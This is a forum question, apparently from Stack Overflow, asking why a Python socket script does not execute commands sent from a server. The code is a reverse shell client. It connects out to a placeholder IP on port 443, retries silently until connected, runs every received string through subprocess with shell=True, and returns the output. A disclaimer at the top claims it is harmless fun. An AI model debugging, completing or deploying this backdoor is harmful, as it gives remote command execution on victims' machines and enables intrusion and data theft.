title: How to use sockets in Python and subprocess?
body: <p>/*</p>
  
  <p>Hey, this script is purely for fun, not anything illegal, besides its easy to stop and detect.  Further on if I were to use it for illegal activities, why would I post it here?</p>
  
  <p>*/</p>
  
  <p>My problem is that I am not able to execute cmd commands from the client. I am not sure why although I have a hint that it is to do with some kind of socket error. When I try to execute the command it just does nothing no matter how long I wait. It's nothing wrong with the client as I have tested it out with a simpler version of the code below.</p>
  
  <pre><code>import getpass
  import socket
  import subprocess
  username = getpass.getuser()
  host = socket.gethostbyname('IP here')
  port = 443
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(3)
  def start():
      conntrue = None
      while conntrue is None:
          try:
              conntrue = s.connect((host, port))
              s.send("[+] We are connected to %s") % (username)
              while True:
                  try:
                      exec_code = s.recv(1024)
                      if exec_code == "quit":
                          break
                      elif exec_code == "Hey":
                          try:
                              proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                              stdout_value = proc.stdout.read() + proc.stderr.read()
                              s.send(stdout_value)
                          except:
                              s.send("[+] was wrong, just exec it manually")
                      else:
                          proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                          stdout_value = proc.stdout.read() + proc.stderr.read()
                          s.send(stdout_value)
                  except:
                      s.close()
          except:
              conntrue = None
              pass
      s.close()
  start()
  </code></pre>